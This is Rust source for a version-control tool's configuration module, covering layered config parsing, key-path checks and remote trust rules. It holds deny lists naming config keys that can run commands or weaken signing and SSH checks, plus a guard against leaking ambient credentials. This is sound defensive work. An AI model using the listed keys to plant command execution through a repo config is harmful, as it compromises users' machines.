1use mkit_core::layout::RepoLayout;
28use std::fmt::Write as _;
29use std::fs;
30use std::io;
31use std::io::Write as _;
32use std::path::{Path, PathBuf};
33
34use thiserror::Error;
35
36pub const CONFIG_FILE: &str = ".mkit/config";
37pub const USER_CONFIG_SUBPATH: &str = "mkit/config";
38pub const DEFAULT_SIGNING_KEY: &str = ".mkit/keys/default.key";
39pub const DEFAULT_BRANCH: &str = "main";
40pub const DEFAULT_SIGNER: &str = "legacy";
41pub const DEFAULT_KEY_BACKEND: &str = "software";
42pub const DEFAULT_KEY_REF: &str = "software:default";
43pub const DEFAULT_SECP256K1_KEY_REF: &str = "software:default-secp256k1";
44pub const DEFAULT_P256_KEY_REF: &str = "software:default-p256";
45
46pub const REPO_FORBIDDEN_KEYS: &[&str] = &[
71 "user.identity",
72 "trusted_remote_endpoint",
73 "admission_helper",
74 "signer",
75 "transport_auth",
76 "pull.require_signed",
77 "key.backend",
78 "key.default_ref",
79 "key.ed25519_ref",
80 "key.secp256k1_ref",
81 "key.p256_ref",
82 "signing_key",
83 "ssh.strict_host_key_checking",
84 "ssh.user_known_hosts_file",
85 "ssh.identity_file",
86 "attest.signer",
87 "attest.default_algorithm",
88 "attest.external_signer_path",
89 "attest.external_signer_args",
90 "attest.external_signer_timeout_secs",
91 "attest.secp256k1_key_path",
92 "attest.p256_key_path",
93 "grant.webauthn_rp",
94];
95
96#[must_use]
98pub fn is_repo_forbidden_key(key: &str) -> bool {
99 REPO_FORBIDDEN_KEYS.contains(&key)
100 || key
101 .strip_prefix("remote.")
102 .and_then(|rest| rest.strip_suffix(".admission_headers"))
103 .is_some_and(|name| !name.is_empty())
104}
105
106#[derive(Debug, Clone, Copy, PartialEq, Eq)]
110pub enum ConfigScope {
111 Repo,
112 User,
113}
114
115#[derive(Debug, Clone, Default, PartialEq, Eq)]
120pub struct Config {
121 pub user_identity: String,
124 pub user_name: String,
133 pub user_email: String,
137 pub trusted_remote_endpoint: String,
140 pub admission_helper: String,
142 pub remote_admission_headers: std::collections::BTreeMap<String, String>,
144 pub signing_key: String,
145 pub default_branch: String,
146 pub remote_endpoint: String,
147 pub remote_bucket: String,
148 pub remote_type: String,
149 pub ssh_strict_host_key_checking: String,
150 pub ssh_user_known_hosts_file: String,
151 pub ssh_identity_file: String,
152 pub http_ssl_ca_info: String,
155 pub transport_auth: String,
167 pub grant_webauthn_rp: Vec<String>,
174 pub signer: String,
176 pub pull_require_signed: String,
186 pub key: KeyConfig,
188 pub attest: AttestConfig,
191 pub remotes: std::collections::BTreeMap<String, RemoteEntry>,
196 pub branch_upstreams: std::collections::BTreeMap<String, Upstream>,
199 pub durability_objects: String,
206 pub core: std::collections::BTreeMap<String, String>,
212}
213
214pub const CORE_ALLOWED_KEYS: &[&str] = &[
218 "autocrlf",
219 "bare",
220 "filemode",
221 "ignorecase",
222 "quotepath",
223 "symlinks",
224];
225
226pub const CORE_DENIED_KEYS: &[&str] = &["editor", "fsmonitor", "hookspath", "pager", "sshcommand"];
230
231#[derive(Debug, Clone, Default, PartialEq, Eq)]
234pub struct RemoteEntry {
235 pub url: String,
236 pub remote_type: String,
237}
238
239#[derive(Debug, Clone, Default, PartialEq, Eq)]
243pub struct Upstream {
244 pub remote: String,
245 pub branch: String,
246}
247
248#[derive(Debug, Clone, Default, PartialEq, Eq)]
250pub struct KeyConfig {
251 pub backend: String,
253 pub default_ref: String,
255 pub ed25519_ref: String,
257 pub secp256k1_ref: String,
259 pub p256_ref: String,
261}
262
263impl KeyConfig {
264 #[must_use]
265 pub fn backend_or_fallback(&self) -> &str {
266 if self.backend.is_empty() {
267 DEFAULT_KEY_BACKEND
268 } else {
269 self.backend.as_str()
270 }
271 }
272
273 #[must_use]
274 pub fn default_ref_or_fallback(&self) -> &str {
275 if self.default_ref.is_empty() {
276 DEFAULT_KEY_REF
277 } else {
278 self.default_ref.as_str()
279 }
280 }
281
282 #[must_use]
283 pub fn ed25519_ref_or_fallback(&self) -> &str {
284 if self.ed25519_ref.is_empty() {
285 self.default_ref_or_fallback()
286 } else {
287 self.ed25519_ref.as_str()
288 }
289 }
290
291 #[must_use]
292 pub fn secp256k1_ref_or_fallback(&self) -> &str {
293 if self.secp256k1_ref.is_empty() {
294 if self.default_ref.is_empty() {
295 DEFAULT_SECP256K1_KEY_REF
296 } else {
297 self.default_ref.as_str()
298 }
299 } else {
300 self.secp256k1_ref.as_str()
301 }
302 }
303
304 #[must_use]
305 pub fn p256_ref_or_fallback(&self) -> &str {
306 if self.p256_ref.is_empty() {
307 if self.default_ref.is_empty() {
308 DEFAULT_P256_KEY_REF
309 } else {
310 self.default_ref.as_str()
311 }
312 } else {
313 self.p256_ref.as_str()
314 }
315 }
316}
317
318#[derive(Debug, Clone, Default, PartialEq, Eq)]
322pub struct LayeredConfig {
323 pub merged: Config,
324 pub user: Config,
325 pub repo: Config,
326}
327
328#[derive(Debug, Clone, Default, PartialEq, Eq)]
331pub struct AttestConfig {
332 pub default_algorithm: String,
334 pub signer: String,
336 pub external_signer_path: String,
339 pub external_signer_args: Vec<String>,
345 pub external_signer_timeout_secs: Option<u64>,
353 pub secp256k1_key_path: String,
356 pub p256_key_path: String,
357}
358
359impl AttestConfig {
360 #[must_use]
361 pub fn default_algorithm_or_fallback(&self) -> &str {
362 if self.default_algorithm.is_empty() {
363 "ed25519"
364 } else {
365 self.default_algorithm.as_str()
366 }
367 }
368
369 #[must_use]
370 pub fn signer_or_fallback(&self) -> &str {
371 if self.signer.is_empty() {
372 "repo-key"
373 } else {
374 self.signer.as_str()
375 }
376 }
377
378 #[must_use]
379 pub fn secp256k1_key_path_or_default(&self) -> &str {
380 if self.secp256k1_key_path.is_empty() {
381 ".mkit/keys/secp256k1.key"
382 } else {
383 self.secp256k1_key_path.as_str()
384 }
385 }
386
387 #[must_use]
388 pub fn p256_key_path_or_default(&self) -> &str {
389 if self.p256_key_path.is_empty() {
390 ".mkit/keys/p256.key"
391 } else {
392 self.p256_key_path.as_str()
393 }
394 }
395}
396
397impl Config {
398 #[must_use]
400 pub fn with_defaults() -> Self {
401 Self {
402 signing_key: DEFAULT_SIGNING_KEY.to_owned(),
403 default_branch: DEFAULT_BRANCH.to_owned(),
404 signer: DEFAULT_SIGNER.to_owned(),
405 key: KeyConfig {
406 backend: DEFAULT_KEY_BACKEND.to_owned(),
407 default_ref: String::new(),
408 ed25519_ref: String::new(),
409 secp256k1_ref: String::new(),
410 p256_ref: String::new(),
411 },
412 ..Self::default()
413 }
414 }
415}
416
417#[derive(Debug, Error)]
418pub enum ConfigError {
419 #[error("I/O: {0}")]
420 Io(#[from] io::Error),
421 #[error("invalid config value — control characters are not permitted")]
422 InvalidValue,
423 #[error("unknown config key: {0}")]
424 UnknownKey(String),
425 #[error("invalid user.identity: {0}")]
426 InvalidUserIdentity(&'static str),
427 #[error("invalid http.sslCAInfo path: {0}")]
428 InvalidHttpCaPath(&'static str),
429 #[error(
430 "key path must not contain `..`; relative paths must stay under `.mkit/keys/` and absolute paths must stay under `$HOME`: {0}"
431 )]
432 InvalidKeyPath(String),
433}
434
435impl Config {
439 pub fn ssl_ca_file_path(&self, layout: &RepoLayout) -> Result<Option<PathBuf>, ConfigError> {
446 let value = self.http_ssl_ca_info.as_str();
447 if value.is_empty() {
448 return Ok(None);
449 }
450 let path = if value == "~" || value.starts_with("~/") {
451 let home = std::env::var_os("HOME")
452 .filter(|directory| !directory.is_empty())
453 .ok_or(ConfigError::InvalidHttpCaPath(
454 "HOME is unavailable for a tilde path",
455 ))?;
456 let mut path = PathBuf::from(home);
457 if let Some(rest) = value.strip_prefix("~/") {
458 path.push(rest);
459 }
460 path
461 } else if value.starts_with('~') {
462 return Err(ConfigError::InvalidHttpCaPath(
463 "use ~/ or an absolute path, not ~user",
464 ));
465 } else {
466 PathBuf::from(value)
467 };
468 Ok(Some(if path.is_absolute() {
469 path
470 } else {
471 layout.worktree_root().join(path)
472 }))
473 }
474
475 #[must_use]
479 pub fn object_sync_policy(&self) -> mkit_core::store::SyncPolicy {
480 match self.durability_objects.trim() {
481 "per-object" | "per_object" => mkit_core::store::SyncPolicy::PerObject,
482 _ => mkit_core::store::SyncPolicy::Batch,
483 }
484 }
485
486 #[must_use]
493 pub fn pull_require_signed_or_default(&self) -> bool {
494 !matches!(
495 self.pull_require_signed
496 .trim()
497 .to_ascii_lowercase()
498 .as_str(),
499 "false" | "0" | "no" | "off"
500 )
501 }
502
503 #[must_use]
507 pub fn transport_auth_envelope(&self) -> bool {
508 self.transport_auth.trim().eq_ignore_ascii_case("envelope")
509 }
510}
511
512pub fn validate_key_path(value: &str) -> Result<(), ConfigError> {
513 if value.is_empty() {
514 return Ok(());
515 }
516 let p = Path::new(value);
517 for comp in p.components() {
518 if matches!(comp, std::path::Component::ParentDir) {
519 return Err(ConfigError::InvalidKeyPath(value.to_owned()));
520 }
521 }
522 Ok(())
523}
524
525pub fn resolve_key_path(layout: &RepoLayout, value: &str) -> Result<PathBuf, ConfigError> {
534 validate_key_path(value)?;
535 let path = Path::new(value);
536 if path.is_absolute() {
537 let Some(home) = home_dir_for_euid() else {
538 return Err(ConfigError::InvalidKeyPath(value.to_owned()));
539 };
540 return if path.starts_with(&home) {
541 Ok(path.to_path_buf())
542 } else {
543 Err(ConfigError::InvalidKeyPath(value.to_owned()))
544 };
545 }
546
547 let Ok(under_mkit) = path.strip_prefix(mkit_core::MKIT_DIR) else {
554 return Err(ConfigError::InvalidKeyPath(value.to_owned()));
555 };
556 let joined = layout.common_dir().join(under_mkit);
557 let repo_keys = layout.keys_dir();
558 if !joined.starts_with(&repo_keys) {
559 return Err(ConfigError::InvalidKeyPath(value.to_owned()));
560 }
561 Ok(joined)
562}
563
564#[cfg(unix)]
575#[must_use]
576pub fn home_dir_for_euid() -> Option<PathBuf> {
577 use std::ffi::CStr;
578 use std::os::unix::ffi::OsStringExt;
579
580 #[allow(unsafe_code)]
596 let pw_dir_owned = unsafe {
597 let mut buf = [0i8; 4096];
598 let mut pwd: libc::passwd = std::mem::zeroed();
599 let mut result: *mut libc::passwd = std::ptr::null_mut();
600 let rc = libc::getpwuid_r(
601 libc::geteuid(),
602 std::ptr::addr_of_mut!(pwd),
603 buf.as_mut_ptr().cast::<libc::c_char>(),
604 buf.len(),
605 std::ptr::addr_of_mut!(result),
606 );
607 if rc != 0 || result.is_null() || pwd.pw_dir.is_null() {
608 None
609 } else {
610 Some(CStr::from_ptr(pwd.pw_dir).to_bytes().to_vec())
613 }
614 };
615 let bytes = pw_dir_owned?;
616 if bytes.is_empty() {
617 return None;
618 }
619 Some(PathBuf::from(std::ffi::OsString::from_vec(bytes)))
620}
621
622#[cfg(not(unix))]
623#[must_use]
624pub fn home_dir_for_euid() -> Option<PathBuf> {
625 std::env::var_os("USERPROFILE").map(PathBuf::from)
631}
632
633#[must_use]
635pub fn parse_pipe_list(s: &str) -> Vec<String> {
636 if s.is_empty() {
637 return Vec::new();
638 }
639 s.split('|').map(str::to_owned).collect()
640}
641
642pub fn validate_value(v: &str) -> Result<(), ConfigError> {
645 for b in v.bytes() {
646 if b < 0x20 || b == 0x7f {
647 return Err(ConfigError::InvalidValue);
648 }
649 }
650 Ok(())
651}
652
653#[must_use]
657pub fn user_config_path() -> PathBuf {
658 xdg_config_home().join(USER_CONFIG_SUBPATH)
659}
660
661pub fn read_or_default(layout: &RepoLayout) -> Result<Config, ConfigError> {
668 let mut cfg = Config::with_defaults();
669 apply_file(&mut cfg, &user_config_path(), ConfigScope::User)?;
670 apply_file(&mut cfg, &layout.config_file(), ConfigScope::Repo)?;
671 apply_cli_overrides(&mut cfg);
675 Ok(cfg)
676}
677
678pub fn read_layered(layout: &RepoLayout) -> Result<LayeredConfig, ConfigError> {
680 let mut merged = Config::with_defaults();
681 let user_path = user_config_path();
682 let repo_path = layout.config_file();
683 apply_file_inner(&mut merged, &user_path, ConfigScope::User, true)?;
684 apply_file_inner(&mut merged, &repo_path, ConfigScope::Repo, true)?;
685 apply_cli_overrides(&mut merged);
693
694 let mut user = Config::default();
695 apply_file_inner(&mut user, &user_path, ConfigScope::User, false)?;
696
697 let mut repo = Config::default();
698 apply_file_inner(&mut repo, &repo_path, ConfigScope::Repo, false)?;
699
700 Ok(LayeredConfig { merged, user, repo })
701}
702
703static CLI_OVERRIDES: std::sync::OnceLock<std::sync::Mutex<Vec<(String, String)>>> =
706 std::sync::OnceLock::new();
707
708pub fn set_cli_overrides(overrides: Vec<(String, String)>) {
712 let slot = CLI_OVERRIDES.get_or_init(|| std::sync::Mutex::new(Vec::new()));
713 if let Ok(mut guard) = slot.lock() {
714 *guard = overrides;
715 }
716}
717
718fn apply_cli_overrides(cfg: &mut Config) {
721 let Some(slot) = CLI_OVERRIDES.get() else {
722 return;
723 };
724 let Ok(overrides) = slot.lock() else {
725 return;
726 };
727 for (raw_key, val) in overrides.iter() {
728 let key = normalize_config_key(raw_key.trim());
729 if is_repo_forbidden_key(&key) {
730 let mut stderr = io::stderr().lock();
731 let _ = writeln!(
732 stderr,
733 "warning: ignoring `-c {key}=…` (security-sensitive keys cannot be set via -c; \
734 set it in your user config — see docs/THREAT-MODEL.md)"
735 );
736 continue;
737 }
738 if validate_value(val.trim()).is_err() {
741 let mut stderr = io::stderr().lock();
742 let _ = writeln!(
743 stderr,
744 "warning: ignoring `-c {key}=…` (value contains control characters)"
745 );
746 continue;
747 }
748 apply_kv(cfg, &key, val.trim());
749 }
750}
751
752pub(crate) fn apply_file(
759 cfg: &mut Config,
760 path: &Path,
761 scope: ConfigScope,
762) -> Result<(), ConfigError> {
763 apply_file_inner(cfg, path, scope, true)
764}
765
766fn apply_file_inner(
767 cfg: &mut Config,
768 path: &Path,
769 scope: ConfigScope,
770 warn_on_forbidden: bool,
771) -> Result<(), ConfigError> {
772 let text = match fs::read_to_string(path) {
773 Ok(s) => s,
774 Err(e) if e.kind() == io::ErrorKind::NotFound => return Ok(()),
775 Err(e) => return Err(e.into()),
776 };
777 for raw_line in text.lines() {
778 let line = raw_line.trim();
779 if line.is_empty() || line.starts_with('#') {
780 continue;
781 }
782 let Some((k, v)) = line.split_once('=') else {
783 continue;
784 };
785 let key = normalize_config_key(k.trim());
793 let key = key.as_str();
794 let val = v.trim();
795 if scope == ConfigScope::Repo && is_repo_forbidden_key(key) {
796 if warn_on_forbidden {
797 warn_forbidden_repo_key(path, key);
798 }
799 continue;
800 }
801 apply_kv(cfg, key, val);
802 }
803 Ok(())
804}
805
806fn warn_forbidden_repo_key(path: &Path, key: &str) {
807 let mut stderr = io::stderr().lock();
808 let _ = writeln!(
809 stderr,
810 "warning: ignoring `{key}` from per-repo config at {} \
811 (security-sensitive keys are user-scoped only — see {} \
812 and docs/THREAT-MODEL.md)",
813 path.display(),
814 user_config_path().display()
815 );
816}
817
818fn apply_kv(cfg: &mut Config, key: &str, val: &str) {
821 if let Some(suffix) = core_allowed_suffix(key) {
824 cfg.core.insert(suffix, val.to_string());
825 return;
826 }
827 match key {
828 "user.identity" => val.clone_into(&mut cfg.user_identity),
829 "user.name" => val.clone_into(&mut cfg.user_name),
832 "user.email" => val.clone_into(&mut cfg.user_email),
833 "trusted_remote_endpoint" => val.clone_into(&mut cfg.trusted_remote_endpoint),
834 "admission_helper" => val.clone_into(&mut cfg.admission_helper),
835 "signer" => val.clone_into(&mut cfg.signer),
836 "pull.require_signed" => val.clone_into(&mut cfg.pull_require_signed),
837 "key.backend" => val.clone_into(&mut cfg.key.backend),
838 "key.default_ref" => val.clone_into(&mut cfg.key.default_ref),
839 "key.ed25519_ref" => val.clone_into(&mut cfg.key.ed25519_ref),
840 "key.secp256k1_ref" => val.clone_into(&mut cfg.key.secp256k1_ref),
841 "key.p256_ref" => val.clone_into(&mut cfg.key.p256_ref),
842 "signing_key" => val.clone_into(&mut cfg.signing_key),
843 "default_branch" => val.clone_into(&mut cfg.default_branch),
844 "durability.objects" => val.clone_into(&mut cfg.durability_objects),
845 "remote_endpoint" => val.clone_into(&mut cfg.remote_endpoint),
846 "remote_bucket" => val.clone_into(&mut cfg.remote_bucket),
847 "remote_type" => val.clone_into(&mut cfg.remote_type),
848 "ssh.strict_host_key_checking" => val.clone_into(&mut cfg.ssh_strict_host_key_checking),
849 "ssh.user_known_hosts_file" => val.clone_into(&mut cfg.ssh_user_known_hosts_file),
850 "ssh.identity_file" => val.clone_into(&mut cfg.ssh_identity_file),
851 "http.sslcainfo" => val.clone_into(&mut cfg.http_ssl_ca_info),
852 "transport_auth" => val.clone_into(&mut cfg.transport_auth),
853 "grant.webauthn_rp" => cfg
854 .grant_webauthn_rp
855 .extend(parse_pipe_list(val).into_iter().filter(|e| !e.is_empty())),
856 "attest.default_algorithm" => val.clone_into(&mut cfg.attest.default_algorithm),
857 "attest.signer" => val.clone_into(&mut cfg.attest.signer),
858 "attest.external_signer_path" => val.clone_into(&mut cfg.attest.external_signer_path),
859 "attest.external_signer_args" => {
860 cfg.attest.external_signer_args = parse_pipe_list(val);
861 }
862 "attest.external_signer_timeout_secs" => {
863 cfg.attest.external_signer_timeout_secs = val.trim().parse::<u64>().ok();
867 }
868 "attest.secp256k1_key_path" => val.clone_into(&mut cfg.attest.secp256k1_key_path),
869 "attest.p256_key_path" => val.clone_into(&mut cfg.attest.p256_key_path),
870 _ if apply_section_kv(cfg, key, val) => {}
876 "author_mid" | "project_id" | "network" => {}
878 _ if key.ends_with("_url") => {}
879 _ => {} }
881}
882
883#[must_use]
886pub fn is_core_section(key: &str) -> bool {
887 key.split_once('.')
888 .is_some_and(|(section, _)| section.eq_ignore_ascii_case("core"))
889}
890
891#[must_use]
895pub fn core_allowed_suffix(key: &str) -> Option<String> {
896 let (section, name) = key.split_once('.')?;
897 if !section.eq_ignore_ascii_case("core") {
898 return None;
899 }
900 let suffix = name.to_ascii_lowercase();
901 CORE_ALLOWED_KEYS
902 .contains(&suffix.as_str())
903 .then_some(suffix)
904}
905
906#[must_use]
916pub fn normalize_config_key(key: &str) -> String {
917 match key.split_once('.') {
923 Some((section, rest)) => match rest.rsplit_once('.') {
924 Some((subsection, variable)) => format!(
925 "{}.{subsection}.{}",
926 section.to_ascii_lowercase(),
927 variable.to_ascii_lowercase()
928 ),
929 None => format!(
930 "{}.{}",
931 section.to_ascii_lowercase(),
932 rest.to_ascii_lowercase()
933 ),
934 },
935 None => key.to_ascii_lowercase(),
936 }
937}
938
939fn apply_section_kv(cfg: &mut Config, key: &str, val: &str) -> bool {
944 let mut parts = key.splitn(3, '.');
945 let (Some(section), Some(name), Some(field)) = (parts.next(), parts.next(), parts.next())
946 else {
947 return false;
948 };
949 let valid_name = !name.is_empty() && mkit_core::refs::validate_ref_name_grammar(name);
953 match (section, field) {
954 ("remote", "admission_headers") => {
955 if valid_name {
956 cfg.remote_admission_headers
957 .insert(name.to_owned(), val.to_owned());
958 }
959 true
960 }
961 ("remote", "url") => {
962 if valid_name {
963 val.clone_into(&mut cfg.remotes.entry(name.to_owned()).or_default().url);
964 }
965 true
966 }
967 ("remote", "type") => {
968 if valid_name {
969 val.clone_into(&mut cfg.remotes.entry(name.to_owned()).or_default().remote_type);
970 }
971 true
972 }
973 ("branch", "remote") => {
974 if valid_name {
975 val.clone_into(
976 &mut cfg
977 .branch_upstreams
978 .entry(name.to_owned())
979 .or_default()
980 .remote,
981 );
982 }
983 true
984 }
985 ("branch", "merge") => {
986 if valid_name {
987 val.clone_into(
988 &mut cfg
989 .branch_upstreams
990 .entry(name.to_owned())
991 .or_default()
992 .branch,
993 );
994 }
995 true
996 }
997 _ => false,
998 }
999}
1000
1001pub fn write(layout: &RepoLayout, cfg: &Config) -> Result<(), ConfigError> {
1014 let path = layout.config_file();
1015 if let Some(parent) = path.parent() {
1016 fs::create_dir_all(parent)?;
1017 }
1018 let mut out = String::new();
1025 for (k, v) in [
1026 ("user.name", cfg.user_name.as_str()),
1029 ("user.email", cfg.user_email.as_str()),
1030 ("default_branch", cfg.default_branch.as_str()),
1031 ("durability.objects", cfg.durability_objects.as_str()),
1032 ("http.sslcainfo", cfg.http_ssl_ca_info.as_str()),
1033 ("remote_endpoint", cfg.remote_endpoint.as_str()),
1034 ("remote_bucket", cfg.remote_bucket.as_str()),
1035 ("remote_type", cfg.remote_type.as_str()),
1036 ] {
1037 if !v.is_empty() {
1038 out.push_str(k);
1039 out.push_str(" = ");
1040 out.push_str(v);
1041 out.push('\n');
1042 }
1043 }
1044 for (name, entry) in &cfg.remotes {
1048 if !entry.url.is_empty() {
1049 let _ = writeln!(out, "remote.{name}.url = {}", entry.url);
1050 }
1051 if !entry.remote_type.is_empty() {
1052 let _ = writeln!(out, "remote.{name}.type = {}", entry.remote_type);
1053 }
1054 }
1055 for (branch, up) in &cfg.branch_upstreams {
1057 if !up.remote.is_empty() {
1058 let _ = writeln!(out, "branch.{branch}.remote = {}", up.remote);
1059 }
1060 if !up.branch.is_empty() {
1061 let _ = writeln!(out, "branch.{branch}.merge = {}", up.branch);
1062 }
1063 }
1064 for (k, v) in &cfg.core {
1066 let _ = writeln!(out, "core.{k} = {v}");
1067 }
1068 let dir = path.parent().unwrap_or_else(|| Path::new("."));
1074 let mut tmp = tempfile::Builder::new()
1075 .prefix(".config.")
1076 .tempfile_in(dir)?;
1077 tmp.write_all(out.as_bytes())?;
1078 tmp.flush()?;
1079 tmp.persist(&path).map_err(|e| ConfigError::Io(e.error))?;
1080 Ok(())
1081}
1082
1083pub const DEFAULT_REMOTE_NAME: &str = "default";
1086
1087#[derive(Debug, Clone, PartialEq, Eq)]
1091pub struct ResolvedRemote {
1092 pub name: String,
1093 pub endpoint: String,
1094 pub repo_chosen: bool,
1095}
1096
1097#[must_use]
1107pub fn resolve_remote(cfg: &LayeredConfig, name: &str) -> Option<ResolvedRemote> {
1108 let name = if name.is_empty() {
1109 DEFAULT_REMOTE_NAME
1110 } else {
1111 name
1112 };
1113 if name == DEFAULT_REMOTE_NAME && !cfg.merged.remote_endpoint.trim().is_empty() {
1114 let endpoint = cfg.merged.remote_endpoint.trim().to_owned();
1115 let repo_chosen = cfg.repo.remote_endpoint.trim() == endpoint;
1116 return Some(ResolvedRemote {
1117 name: DEFAULT_REMOTE_NAME.to_owned(),
1118 endpoint,
1119 repo_chosen,
1120 });
1121 }
1122 let entry = cfg.merged.remotes.get(name)?;
1123 let endpoint = entry.url.trim();
1124 if endpoint.is_empty() {
1125 return None;
1126 }
1127 let repo_chosen = cfg
1128 .repo
1129 .remotes
1130 .get(name)
1131 .is_some_and(|e| e.url.trim() == endpoint);
1132 Some(ResolvedRemote {
1133 name: name.to_owned(),
1134 endpoint: endpoint.to_owned(),
1135 repo_chosen,
1136 })
1137}
1138
1139#[must_use]
1147pub fn configured_remote_names(cfg: &LayeredConfig) -> Vec<String> {
1148 let mut names: std::collections::BTreeSet<String> =
1149 cfg.merged.remotes.keys().cloned().collect();
1150 if !cfg.merged.remote_endpoint.trim().is_empty() {
1151 names.insert(DEFAULT_REMOTE_NAME.to_owned());
1152 }
1153 names.into_iter().collect()
1154}
1155
1156#[must_use]
1161pub fn resolve_upstream(cfg: &LayeredConfig, branch: &str) -> Option<Upstream> {
1162 if let Some(up) = cfg.merged.branch_upstreams.get(branch)
1163 && !up.remote.is_empty()
1164 && !up.branch.is_empty()
1165 {
1166 return Some(up.clone());
1167 }
1168 if !cfg.merged.remote_endpoint.trim().is_empty() {
1172 return Some(Upstream {
1173 remote: DEFAULT_REMOTE_NAME.to_owned(),
1174 branch: branch.to_owned(),
1175 });
1176 }
1177 None
1178}
1179
1180fn real_getenv(name: &str) -> Option<String> {
1183 std::env::var(name).ok().filter(|value| !value.is_empty())
1184}
1185
1186pub fn enforce_trusted_remote_endpoint(cfg: &LayeredConfig) -> Result<(), String> {
1197 let endpoint = cfg.merged.remote_endpoint.trim();
1198 let repo_chosen = cfg.repo.remote_endpoint.trim() == endpoint;
1199 match trusted_remote_error_for(
1200 endpoint,
1201 repo_chosen,
1202 cfg.user.trusted_remote_endpoint.trim(),
1203 &real_getenv,
1204 ) {
1205 Some(msg) => Err(msg),
1206 None => Ok(()),
1207 }
1208}
1209
1210pub fn endpoint_credential_trust(
1218 cfg: &LayeredConfig,
1219 endpoint: &str,
1220 repo_chosen: bool,
1221) -> Result<(), String> {
1222 match trusted_remote_error_for(
1223 endpoint.trim(),
1224 repo_chosen,
1225 cfg.user.trusted_remote_endpoint.trim(),
1226 &real_getenv,
1227 ) {
1228 Some(msg) => Err(msg),
1229 None => Ok(()),
1230 }
1231}
1232
1233fn trusted_remote_error_for<F>(
1245 endpoint: &str,
1246 repo_chosen: bool,
1247 user_trusted: &str,
1248 getenv: &F,
1249) -> Option<String>
1250where
1251 F: Fn(&str) -> Option<String>,
1252{
1253 if endpoint.is_empty() || !repo_chosen {
1254 return None;
1255 }
1256 if user_trusted == endpoint {
1257 return None;
1258 }
1259
1260 if endpoint.starts_with("mkit+http://") || endpoint.starts_with("mkit+https://") {
1261 if getenv(mkit_transport_http::TOKEN_ENV).is_some() {
1262 return Some(format!(
1263 "refusing repo-configured remote `{endpoint}` with ambient {} bearer token; trust it explicitly with `mkit config trusted_remote_endpoint {endpoint}` (writes {})",
1264 mkit_transport_http::TOKEN_ENV,
1265 user_config_path().display()
1266 ));
1267 }
1268 return None;
1269 }
1270
1271 if endpoint.starts_with("mkit+s3://")
1272 && (getenv(mkit_transport_s3::ENV_ACCESS_KEY).is_some()
1273 || getenv(mkit_transport_s3::ENV_SECRET_KEY).is_some())
1274 {
1275 return Some(format!(
1276 "refusing repo-configured remote `{endpoint}` with ambient S3/R2 credentials; trust it explicitly with `mkit config trusted_remote_endpoint {endpoint}` (writes {})",
1277 user_config_path().display()
1278 ));
1279 }
1280
1281 None
1282}
1283
1284pub fn write_user_kv(key: &str, value: &str) -> Result<(), ConfigError> {
1289 let key = normalize_config_key(key);
1292 let key = key.as_str();
1293 let path = user_config_path();
1294 if let Some(parent) = path.parent() {
1295 fs::create_dir_all(parent)?;
1296 }
1297 let existing = fs::read_to_string(&path).unwrap_or_default();
1298 let mut out = String::new();
1299 let mut replaced = false;
1300 for raw_line in existing.lines() {
1301 let line = raw_line.trim();
1302 if line.is_empty() || line.starts_with('#') {
1303 out.push_str(raw_line);
1304 out.push('\n');
1305 continue;
1306 }
1307 if let Some((k, _)) = line.split_once('=')
1312 && normalize_config_key(k.trim()) == key
1313 {
1314 out.push_str(key);
1315 out.push_str(" = ");
1316 out.push_str(value);
1317 out.push('\n');
1318 replaced = true;
1319 continue;
1320 }
1321 out.push_str(raw_line);
1322 out.push('\n');
1323 }
1324 if !replaced {
1325 out.push_str(key);
1326 out.push_str(" = ");
1327 out.push_str(value);
1328 out.push('\n');
1329 }
1330 write_atomic_user_config(&path, out.as_bytes())?;
1334 Ok(())
1335}
1336
1337pub fn remove_user_kv(key: &str) -> Result<bool, ConfigError> {
1344 let key = normalize_config_key(key);
1345 let key = key.as_str();
1346 let path = user_config_path();
1347 let existing = match fs::read_to_string(&path) {
1348 Ok(s) => s,
1349 Err(e) if e.kind() == io::ErrorKind::NotFound => return Ok(false),
1350 Err(e) => return Err(ConfigError::Io(e)),
1351 };
1352 let mut out = String::new();
1353 let mut removed = false;
1354 for raw_line in existing.lines() {
1355 let line = raw_line.trim();
1356 if line.is_empty() || line.starts_with('#') {
1357 out.push_str(raw_line);
1358 out.push('\n');
1359 continue;
1360 }
1361 if let Some((k, _)) = line.split_once('=')
1362 && normalize_config_key(k.trim()) == key
1363 {
1364 removed = true;
1365 continue;
1366 }
1367 out.push_str(raw_line);
1368 out.push('\n');
1369 }
1370 if removed {
1371 write_atomic_user_config(&path, out.as_bytes())?;
1372 }
1373 Ok(removed)
1374}
1375
1376fn write_atomic_user_config(path: &Path, bytes: &[u8]) -> Result<(), ConfigError> {
1380 use tempfile::NamedTempFile;
1381 let parent = path.parent().ok_or(ConfigError::Io(io::Error::new(
1382 io::ErrorKind::InvalidInput,
1383 "user config path has no parent",
1384 )))?;
1385 let mut tmp = NamedTempFile::new_in(parent)?;
1386 tmp.as_file_mut().write_all(bytes)?;
1387 tmp.as_file_mut().sync_all()?;
1388 tmp.persist(path).map_err(|e| ConfigError::Io(e.error))?;
1389 Ok(())
1390}
1391
1392pub fn expand_user_identity(value: &str) -> Result<String, ConfigError> {
1395 if value.is_empty() {
1396 return Err(ConfigError::InvalidUserIdentity("empty value"));
1397 }
1398 if let Some(hex) = value.strip_prefix("ed25519:") {
1399 if hex.len() != 64 {
1400 return Err(ConfigError::InvalidUserIdentity(
1401 "ed25519:<hex> must have 64 hex chars",
1402 ));
1403 }
1404 let bytes =
1405 hex_decode(hex).ok_or(ConfigError::InvalidUserIdentity("ed25519 hex is not valid"))?;
1406 return Ok(encode_identity_hex(0x01, &bytes));
1407 }
1408 if let Some(dec) = value.strip_prefix("mid:") {
1409 let mid: u64 = dec
1410 .parse()
1411 .map_err(|_| ConfigError::InvalidUserIdentity("mid must be a decimal u64"))?;
1412 return Ok(encode_identity_hex(0x03, &mid.to_le_bytes()));
1413 }
1414 if !value.len().is_multiple_of(2) || value.len() < 6 {
1415 return Err(ConfigError::InvalidUserIdentity(
1416 "raw hex is too short or has odd length",
1417 ));
1418 }
1419 let bytes = hex_decode(value).ok_or(ConfigError::InvalidUserIdentity(
1420 "raw value is not valid hex",
1421 ))?;
1422 let declared = u16::from(bytes[1]) | (u16::from(bytes[2]) << 8);
1423 if bytes.len() != usize::from(declared) + 3 {
1424 return Err(ConfigError::InvalidUserIdentity(
1425 "declared length does not match payload length",
1426 ));
1427 }
1428 Ok(value.to_owned())
1429}
1430
1431fn encode_identity_hex(kind: u8, bytes: &[u8]) -> String {
1432 let len = u16::try_from(bytes.len()).unwrap_or(u16::MAX);
